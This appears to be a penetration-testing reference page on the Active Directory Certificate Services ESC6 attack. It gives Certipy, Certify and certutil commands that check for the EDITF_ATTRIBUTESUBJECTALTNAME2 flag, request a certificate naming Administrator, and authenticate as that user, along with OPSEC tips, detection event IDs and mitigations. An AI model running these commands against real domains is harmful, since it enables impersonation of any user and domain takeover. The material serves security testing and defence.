title: "Attack #31 β ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 Flag" description: "ESC6 is a CA-wide misconfiguration where the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is enabled on the Certificate Authority. When this flag is set, it allowsβ¦" category: active-directory subcategory: "ADCS & Certificates" tags: ["active-directory", "adcs"] tools: ["Certipy", "Certify", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Four/π’ Attack #31 β ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 Flag.md"#
π’ Attack #31 β ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 Flag#
π How It Works#
ESC6 is a CA-wide misconfiguration where the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is enabled on the Certificate Authority. When this flag is set, it allows certificate requesters to specify an arbitrary Subject Alternative Name (SAN) in their certificate request β regardless of the template's configuration. This means even templates that normally don't allow SAN specification become vulnerable β the attacker can request a certificate for any user in the domain.
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| EDITF_ATTRIBUTESUBJECTALTNAME2 enabled on CA | CA-level configuration flag |
| Enrollment rights on any Client Auth template | Any template with Client Authentication EKU |
π» Full Commands#
π΅ Check If Flag Is Enabled#
# ββ certutil (on the CA or targeting it remotely) βββββββββββββββββββββββββββββ
certutil -config "CORP-CA" -getreg policy\EditFlags
# Look for: EDITF_ATTRIBUTESUBJECTALTNAME2 -- 40000 (262144)
# ββ Certipy βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout
# Look for: ESC6 β EDITF_ATTRIBUTESUBJECTALTNAME2 is set
π΄ Exploit ESC6#
# ββ Request cert with arbitrary SAN using ANY template ββββββββββββββββββββββββ
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
-template User -upn Administrator@corp.local -dc-ip 10.10.10.10
# ββ Authenticate as Administrator βββββββββββββββββββββββββββββββββββββββββββββ
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# ββ Certify βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
.\Certify.exe request /ca:CORP-CA /template:User /altname:Administrator
π― OPSEC Tips#
- ESC6 affects ALL templates β even properly configured ones become vulnerable
- Microsoft patched this in May 2022 (KB5014754) β patched CAs ignore SAN in request if template doesn't allow it
- Check patch level β unpatched CAs are still vulnerable
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4886 | Security Log (CA) | Certificate enrollment with SAN different from requester |
| 4887 | Security Log (CA) | Certificate issued with arbitrary SAN |
π Attack Chain Context#
[ESC6] βββ CA flag allows SAN on ANY template β impersonate any user
β
ββββ π Makes every template ESC1-equivalent
ββββ π Patched in KB5014754 (May 2022)
ββββ π Defeated by: disable EDITF flag, patch CA, audit enrollments
β Attack #31 β ESC6 complete.